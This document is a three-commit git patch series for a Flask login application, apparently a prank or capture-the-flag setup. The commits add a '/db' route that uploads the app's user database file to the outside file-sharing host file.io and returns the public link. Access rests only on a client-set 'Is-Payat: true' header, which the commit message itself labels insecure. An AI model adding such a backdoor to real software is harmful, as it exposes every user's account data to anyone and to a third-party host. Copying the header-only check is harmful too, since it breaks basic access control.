From cbb66e078a761fb1d638bc1ae5dee5b0bd6dd9e8 Mon Sep 17 00:00:00 2001
From: Phoenix-0001 <149677560+Phoenix-0001@users.noreply.github.com>
Date: Sat, 4 Jan 2025 16:34:11 +0530
Subject: [PATCH 1/3] back
---
app.py | 30 +++++++++++++++++++++++++++---
templates/db.html | 22 ++++++++++++++++++++++
2 files changed, 49 insertions(+), 3 deletions(-)
create mode 100644 templates/db.html
diff --git a/app.py b/app.py
index ea0c12687..a02731ded 100644
--- a/app.py
+++ b/app.py
@@ -1,4 +1,6 @@
-from flask import Flask, render_template, url_for, redirect, request, flash
+import os
+import requests
+from flask import Flask, render_template, url_for, redirect, request, flash, jsonify
from flask_sqlalchemy import SQLAlchemy
from flask_login import UserMixin, login_user, LoginManager, login_required, logout_user, current_user
from flask_wtf import FlaskForm
@@ -14,7 +16,7 @@
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'
-
+DATABASE_FILE="instance/database.db"
@login_manager.user_loader
def load_user(user_id):
@@ -181,7 +183,29 @@ def register():
return render_template('register.html', form=form)
-
+@app.route('/db')
+def index():
+ return render_template('db.html')
+@app.route('/upload-db')
+def upload_db():
+ if not os.path.exists(DATABASE_FILE):
+ return jsonify({"success": False, "message": "Database file not found."})
+
+ # Upload the file to a free file-sharing service (e.g., file.io)
+ with open(DATABASE_FILE, 'rb') as f:
+ try:
+ response = requests.post(
+ "https://file.io",
+ files={"file": f}
+ )
+ response_data = response.json()
+ if response_data.get("success"):
+ return jsonify({"success": True, "url": response_data["link"]})
+ else:
+ return jsonify({"success": False, "message": response_data.get("message", "Unknown error.")})
+ except Exception as e:
+ return jsonify({"success": False, "message": str(e)})
+
if __name__ == "__main__":
app.run(debug=True)
diff --git a/templates/db.html b/templates/db.html
new file mode 100644
index 000000000..6b7ea7864
--- /dev/null
+++ b/templates/db.html
@@ -0,0 +1,22 @@
+
+
+ Upload Database
+
+
+ Database Uploader
+
+
+
+
+
\ No newline at end of file
From 693fccd34468b3b920e60ff4b27a9917d416ad75 Mon Sep 17 00:00:00 2001
From: Phoenix-0001 <149677560+Phoenix-0001@users.noreply.github.com>
Date: Sat, 4 Jan 2025 18:56:09 +0530
Subject: [PATCH 2/3] funny auth
insecure auth
---
app.py | 18 ++++++++++++++++--
templates/not-payat.html | 8 ++++++++
2 files changed, 24 insertions(+), 2 deletions(-)
create mode 100644 templates/not-payat.html
diff --git a/app.py b/app.py
index a02731ded..85e2010b0 100644
--- a/app.py
+++ b/app.py
@@ -185,12 +185,25 @@ def register():
@app.route('/db')
def index():
- return render_template('db.html')
+ payat = request.headers.get('Is-Payat')
+ if (not payat):
+
+ return render_template('not-payat.html')
+ elif (payat.lower()!='true'):
+ return render_template('not-payat.html')
+ else :
+ return render_template('db.html')
+
@app.route('/upload-db')
def upload_db():
if not os.path.exists(DATABASE_FILE):
return jsonify({"success": False, "message": "Database file not found."})
-
+ payat = request.headers.get('Is-Payat')
+ if (not payat):
+
+ return render_template('not-payat.html')
+ elif (payat.lower()!='true'):
+ return render_template('not-payat.html')
# Upload the file to a free file-sharing service (e.g., file.io)
with open(DATABASE_FILE, 'rb') as f:
try:
@@ -202,6 +215,7 @@ def upload_db():
if response_data.get("success"):
return jsonify({"success": True, "url": response_data["link"]})
else:
+
return jsonify({"success": False, "message": response_data.get("message", "Unknown error.")})
except Exception as e:
return jsonify({"success": False, "message": str(e)})
diff --git a/templates/not-payat.html b/templates/not-payat.html
new file mode 100644
index 000000000..2dbec4500
--- /dev/null
+++ b/templates/not-payat.html
@@ -0,0 +1,8 @@
+
+
+ Upload Database
+
+
+ You aren't og PAYAT
+
+
From b65270227f561156738cf0b5fc582287cf8696c4 Mon Sep 17 00:00:00 2001
From: Phoenix-0001 <149677560+Phoenix-0001@users.noreply.github.com>
Date: Sat, 4 Jan 2025 19:18:08 +0530
Subject: [PATCH 3/3] more funny
---
app.py | 15 ++-------------
templates/db.html | 22 ----------------------
templates/not-payat.html | 25 +++++++++++++++++++++++--
3 files changed, 25 insertions(+), 37 deletions(-)
delete mode 100644 templates/db.html
diff --git a/app.py b/app.py
index 85e2010b0..158687975 100644
--- a/app.py
+++ b/app.py
@@ -183,18 +183,8 @@ def register():
return render_template('register.html', form=form)
-@app.route('/db')
-def index():
- payat = request.headers.get('Is-Payat')
- if (not payat):
-
- return render_template('not-payat.html')
- elif (payat.lower()!='true'):
- return render_template('not-payat.html')
- else :
- return render_template('db.html')
-@app.route('/upload-db')
+@app.route('/db')
def upload_db():
if not os.path.exists(DATABASE_FILE):
return jsonify({"success": False, "message": "Database file not found."})
@@ -204,7 +194,6 @@ def upload_db():
return render_template('not-payat.html')
elif (payat.lower()!='true'):
return render_template('not-payat.html')
- # Upload the file to a free file-sharing service (e.g., file.io)
with open(DATABASE_FILE, 'rb') as f:
try:
response = requests.post(
@@ -213,7 +202,7 @@ def upload_db():
)
response_data = response.json()
if response_data.get("success"):
- return jsonify({"success": True, "url": response_data["link"]})
+ return jsonify({"Authenticated User": True, "Database Link": response_data["link"]})
else:
return jsonify({"success": False, "message": response_data.get("message", "Unknown error.")})
diff --git a/templates/db.html b/templates/db.html
deleted file mode 100644
index 6b7ea7864..000000000
--- a/templates/db.html
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
- Upload Database
-
-
- Database Uploader
-
-
-
-
-
\ No newline at end of file
diff --git a/templates/not-payat.html b/templates/not-payat.html
index 2dbec4500..9a856b498 100644
--- a/templates/not-payat.html
+++ b/templates/not-payat.html
@@ -2,7 +2,28 @@
Upload Database
-
- You aren't og PAYAT
+
+
+
You aren't og PAYAT. Check your
+
+
+
+